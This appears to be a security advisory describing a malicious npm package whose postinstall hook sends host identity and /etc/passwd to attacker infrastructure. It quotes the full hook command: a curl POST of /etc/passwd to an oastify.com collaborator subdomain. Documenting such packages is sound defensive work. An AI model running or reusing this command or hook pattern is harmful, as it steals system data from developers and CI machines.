@shell-landing/routes@99.9.5

Summary

On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com. The curl invocation POSTs the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain, embedding the installer's hostname in the request. The companion script scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and beacons each as an HTTP GET subdomain of *.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com. The package contains no library code, no README, and no main entry — version 99.9.5 with a pure-exfil payload under the @shell-landing scope is consistent with a dependency-confusion probe targeting an internal package name. Any developer or CI running npm install will leak host identity and /etc/passwd to attacker infrastructure.
